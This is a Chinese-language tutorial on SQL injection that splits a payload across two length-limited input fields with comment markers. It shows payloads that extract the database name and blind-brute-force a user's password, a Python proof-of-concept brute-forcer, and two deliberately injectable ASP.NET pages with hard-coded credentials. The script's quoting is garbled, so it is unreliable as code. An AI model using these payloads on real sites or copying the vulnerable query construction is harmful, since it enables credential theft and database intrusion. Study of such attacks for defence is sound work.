场景1.
在本场景中,web应用程序接收first-name和last-name,然后输入匹配的Email地址(代码参考附录A)
正常发送到数据库的sql语句如下
select EmailAddress from Person.Contact where FirstName = ‘@fn’ and LastName = ‘@ln’; @fn和@ln是user的输入
攻击者可以使用下面的方法来获得数据库的名字:
‘ union select db_name();–
该字符串有27个字节
如果user的输入限制为每个field 15个字节,上述的攻击将会被封锁。即使这样,攻击者可以使用下面的字符串来绕过限制:
First Name: ‘union select/* (15 bytes)
Last Name: */db_name();– (12 bytes)
结果将是下面的查询语句:
select EmailAddress from person.contact where FirstName = ”union select/*’ and LastName = ‘*/db_name()–’;
将会导致输出数据库的名字
场景2
在本例中,攻击者攻击web接收一个username 和password,并且输出“Access Granted!”或“Access Denied!”。web程序限制每个输入域为20个字节。但是web程序之检查user输入从长度(附录B)
应用程序发送如下查询:
select count(*) from dbo.users where UserName = ‘@un’ and Password = ‘@pass’; @un和@pass是用户输入
为了暴力破解david的密码的第一个字节,攻击者发送如下字符串:
• User Name: david’and substring/*
• Password: */(password,1,1)=’p
攻击将导致如下查询:
select count(*) from dbo.users where UserName = ‘david’and substring/*’ and Password = ‘*/(password,1,1)=’p';
如果password的第一个字符是'p',那么返回1,否则返回0.为了保留破解david的密码,攻击者可以使用如下python脚本
################################################## ## GreenSQL 2-fields SQL Injection Attack ## ## Password Brute Forcer ## ## Proof-of-Concept ## ## This code is for educational purposes only ## ################################################## import urllib un = 'david'and substring/*' i=0 CurrChr = 0 password = "" for index in range(1,40): if CurrChr == 125: break for CurrChr in range(32,126): pswd = '*/(password,' + str(index) + ',1)='' + chr(CurrChr) args = {'UserName':un,'Password':pswd} encoded_args = urllib.urlencode(args) url = 'http://127.0.0.1:54213/WebSite1/Authentication.aspx' print "Sending: ", index, "X", chr(CurrChr) f = urllib.urlopen(url, encoded_args) contents = f.read() f.close() if (contents.find('Access Granted') != -1): password = password + chr(CurrChr) print "Password: ", password CurrChr =1 break
附录 A - Web Application #1 Source Code =========================================== <%@ Page Language="C#" Debug="true" %> <%@ Import Namespace="System.Data" %> <%@ Import Namespace="System.Data.SqlClient" %> <html> <head><title>Shortest</title></head> <body> <form id = "f" method="post" action="shortest.aspx"> First Name: <input name = "FirstName" type="text" maxlength="15" />(maxlength: 15) <br /> Last Name: <input name = "LastName" type="text" maxlength="15"/>(maxlength: 15) <br /> <input id="submit" type="submit" value="Get Email" /> </form> <% string conn = "server=david-PC; uid=GreenSQL; pwd=GreenSQL; database=AdventureWorks; Connect Timeout=10000"; DataSet ds = new DataSet(); string fn = ""; fn = Request.Form["FirstName"]; string ln = ""; ln = Request.Form["LastName"]; if (fn.Length <= 15 && ln.Length <= 15) { string command = "select EmailAddress from person.contact where FirstName = '" + fn + "' and LastName = '" + ln + "';"; SqlDataAdapter data = new SqlDataAdapter(command, conn); data.Fill(ds); Response.Write("<table>"); foreach (DataRow row in ds.Tables[0].Rows) { Response.Write("<tr>"); foreach (DataColumn col in ds.Tables[0].Columns) { Response.Write("<th>"); Response.Write(row[col]); Response.Write("</th>"); } Response.Write("</tr>"); } Response.Write("</table>"); Response.Write(command); if (fn != null && ln != null) Response.Write("<br />FirstName: " + fn + "(" + fn.Length.ToString() + ")<br />LastName: " + ln + "(" + ln.Length.ToString() + ")<br />Total Length: " + (fn.Length + ln.Length).ToString()); } else { Response.Write("Username and Passwords are limited to 15 characters maximum!"); } %> </body> </html>
附录B– Web Application #2 Source Code =========================================== <%@ Page Language="C#" Debug="true" %> <%@ Import Namespace="System.Data" %> <%@ Import Namespace="System.Data.SqlClient" %> <html> <head><title>Shortest</title></head> <body> <form id = "f" method="post" action="Authentication.aspx"> Username: <input name = "UserName" type="text" maxlength="20" />(maxlength: 20) <br /> Password: <input name = "Password" type="text" maxlength="20"/>(maxlength: 20) <br /> <input id="submit" type="submit" value="Authenticate" /> </form> <% string conn = "server=david-PC; uid=GreenSQL; pwd=GreenSQL; database=AdventureWorks; Connect Timeout=10000"; DataSet ds = new DataSet(); string un = ""; un = Request.Form["Username"]; string pass = ""; pass = Request.Form["Password"]; if (un.Length <= 20 && pass.Length <= 20) { string command = "select count(*) from dbo.users where UserName = '" + un + "' and Password = '" + pass + "';"; SqlDataAdapter data = new SqlDataAdapter(command, conn); data.Fill(ds); Response.Write("<table>"); foreach (DataRow row in ds.Tables[0].Rows) { Response.Write("<tr>"); foreach (DataColumn col in ds.Tables[0].Columns) { if (System.Convert.ToInt32(row[0]) > 0) Response.Write("Access Granted!"); else Response.Write("Access Denied!"); } Response.Write("</tr>"); } Response.Write("</table>"); Response.Write(command); if (un != null && pass != null) Response.Write("<br />UserName: " + un + "(" + un.Length.ToString() + ")<br />Password: " + pass + "(" + pass.Length.ToString() + ")<br />Total Length: " + (un.Length + pass.Length).ToString()); } else { Response.Write("Username and Passwords are limited to 15 characters maximum!"); } %> </body> </html>